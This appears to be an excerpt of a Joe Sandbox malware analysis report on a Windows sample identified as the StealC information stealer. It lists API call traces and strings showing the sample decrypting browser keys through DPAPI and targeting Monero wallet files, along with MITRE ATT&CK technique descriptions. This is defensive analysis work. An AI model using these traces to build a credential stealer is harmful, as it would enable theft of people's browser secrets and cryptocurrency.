Part of subcall function 00CB99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00CB99EC
Part of subcall function 00CB99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00CB9A11
Part of subcall function 00CB99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00CB9A31
Part of subcall function 00CB99C0: ReadFile.KERNEL32(000000FF,?,00000000,00CB148F,00000000), ref: 00CB9A5A
Part of subcall function 00CB99C0: LocalFree.KERNEL32(00CB148F), ref: 00CB9A90
Part of subcall function 00CB99C0: CloseHandle.KERNEL32(000000FF), ref: 00CB9A9A

Part of subcall function 00CC8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00CC8E52

Part of subcall function 00CCA740: lstrcpy.KERNEL32(00CD0E17,00000000), ref: 00CCA788

Part of subcall function 00CCA9B0: lstrlen.KERNEL32(?,01899C80,?,\Monero\wallet.keys,00CD0E17), ref: 00CCA9C5
Part of subcall function 00CCA9B0: lstrcpy.KERNEL32(00000000), ref: 00CCAA04
Part of subcall function 00CCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CCAA12

Part of subcall function 00CCA8A0: lstrcpy.KERNEL32(?,00CD0E17), ref: 00CCA905

Part of subcall function 00CCA920: lstrcpy.KERNEL32(00000000,?), ref: 00CCA972
Part of subcall function 00CCA920: lstrcat.KERNEL32(00000000), ref: 00CCA982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00CD1580,00CD0D92), ref: 00CBF54C
lstrlen.KERNEL32(00000000), ref: 00CBF56B

Strings

^userContextId=4294967295, xrefs: 00CBF59C
moz-extension+++, xrefs: 00CBF5AD

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 1b35348d7b9a6d0965fcaed971f72a2f0c289343135f27effeacb68dd9e26991
Instruction ID: 01df93079552fff8f9177fb685dacff90bec5016681f262edfc2396892491e0b
Opcode Fuzzy Hash: 1b35348d7b9a6d0965fcaed971f72a2f0c289343135f27effeacb68dd9e26991
Instruction Fuzzy Hash: 17510171D1010CABDB04FBA4EC5AFED7378AF54304F40852DF916A7191EE346A0ADBA2

Function 00CC3560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: fa74a1c019c7a3bda59a607af53a969066d97920c6d79f3886b83d1bfa93dff2
Instruction ID: 1b3b5c5ed2888c88cb52aaf226834de32886563e6f332e87f3c684eb8ae1a93d
Opcode Fuzzy Hash: fa74a1c019c7a3bda59a607af53a969066d97920c6d79f3886b83d1bfa93dff2
Instruction Fuzzy Hash: 76413EB1D10149AFCB04EFA5D849FEEB774BB44704F10842CF51676291EB74AA09DFA2

Function 00CB9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00CCA740: lstrcpy.KERNEL32(00CD0E17,00000000), ref: 00CCA788

Part of subcall function 00CB99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00CB99EC
Part of subcall function 00CB99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00CB9A11
Part of subcall function 00CB99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00CB9A31
Part of subcall function 00CB99C0: ReadFile.KERNEL32(000000FF,?,00000000,00CB148F,00000000), ref: 00CB9A5A
Part of subcall function 00CB99C0: LocalFree.KERNEL32(00CB148F), ref: 00CB9A90
Part of subcall function 00CB99C0: CloseHandle.KERNEL32(000000FF), ref: 00CB9A9A

Part of subcall function 00CC8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00CC8E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00CB9D39

Part of subcall function 00CB9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00CB4EEE,00000000,00000000), ref: 00CB9AEF
Part of subcall function 00CB9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00CB4EEE,00000000,?), ref: 00CB9B01
Part of subcall function 00CB9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00CB4EEE,00000000,00000000), ref: 00CB9B2A
Part of subcall function 00CB9AC0: LocalFree.KERNEL32(?,?,?,?,00CB4EEE,00000000,?), ref: 00CB9B3F

Part of subcall function 00CB9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00CB9B84
Part of subcall function 00CB9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00CB9BA3
Part of subcall function 00CB9B60: LocalFree.KERNEL32(?), ref: 00CB9BD3

Strings

"encrypted_key":", xrefs: 00CB9D30
, xrefs: 00CB9DC1
DPAPI, xrefs: 00CB9D89

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 7878afa374b362876325b3fc6f2c2f33a99ea9001b91823f77fabb435f03e76d
Instruction ID: 2b373ee78b7ed1444383b0e6e7329234d32e8c7724c743598ec39aa76662acfb
Opcode Fuzzy Hash: 7878afa374b362876325b3fc6f2c2f33a99ea9001b91823f77fabb435f03e76d
Instruction Fuzzy Hash: 06311CB6D10209ABDF14DFE5DC85EEFB7B8FB48304F144529EA15A7241EB319A04CBA1

Function 00CC92E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00CC3AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,00CC3AEE,?), ref: 00CC92FC
GetFileSizeEx.KERNEL32(000000FF,00CC3AEE), ref: 00CC9319
CloseHandle.KERNEL32(000000FF), ref: 00CC9327

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: df8a27be4ecd8974212c5082fadd8a62f58777e3f47aceb26dfbf4a65d76192e
Instruction ID: a41f0a5eea925a2fed447b0d6422c4ae6651246b64f0908b83b58365442a3f1c
Opcode Fuzzy Hash: df8a27be4ecd8974212c5082fadd8a62f58777e3f47aceb26dfbf4a65d76192e
Instruction Fuzzy Hash: DDF01975E40208ABDB10DBA2DC49FAE77B9EB88710F148668E655AB2D0D6B0A6058F40

Function 00CCC742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00CCC74E

Part of subcall function 00CCBF9F: __amsg_exit.LIBCMT ref: 00CCBFAF

__getptd.LIBCMT ref: 00CCC765
__amsg_exit.LIBCMT ref: 00CCC773
__updatetlocinfoEx_nolock.LIBCMT ref: 00CCC797

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: c992c6d20ed77966c031751b54ef796599eb02aea94ade1d32ab2dc0e8308452
Instruction ID: c76c39d95bb442aba49d8ff04ef8f8ba348d7036d52f926b1b0e9f41293b7619
Opcode Fuzzy Hash: c992c6d20ed77966c031751b54ef796599eb02aea94ade1d32ab2dc0e8308452
Instruction Fuzzy Hash: 4DF09A32905204DBEB21BBF8D887F5E33A0AF00724F21414EF418AA2D2DB645E80AF56

Function 00CC4F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00CC8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00CC8E0B

lstrcat.KERNEL32(?,00000000), ref: 00CC4F7A
lstrcat.KERNEL32(?,00CD1070), ref: 00CC4F97
lstrcat.KERNEL32(?,01899C20), ref: 00CC4FAB
lstrcat.KERNEL32(?,00CD1074), ref: 00CC4FBD

Part of subcall function 00CC4910: wsprintfA.USER32 ref: 00CC492C
Part of subcall function 00CC4910: FindFirstFileA.KERNEL32(?,?), ref: 00CC4943

Part of subcall function 00CC4910: StrCmpCA.SHLWAPI(?,00CD0FDC), ref: 00CC4971
Part of subcall function 00CC4910: StrCmpCA.SHLWAPI(?,00CD0FE0), ref: 00CC4987
Part of subcall function 00CC4910: FindNextFileA.KERNEL32(000000FF,?), ref: 00CC4B7D
Part of subcall function 00CC4910: FindClose.KERNEL32(000000FF), ref: 00CC4B92

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 984218ee9dd756e992f0d0729b336673d2360758ced4315dc90e5f76303dea7c
Instruction ID: 7a4614c457ec23111858aecace5cc12a9d91ad39e38292ff2b021639f0f99890
Opcode Fuzzy Hash: 984218ee9dd756e992f0d0729b336673d2360758ced4315dc90e5f76303dea7c
Instruction Fuzzy Hash: 1021B8B69002086BC754FBA0DC46FFA333CA794700F444568F65DA6181EE74AACCDBA2

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

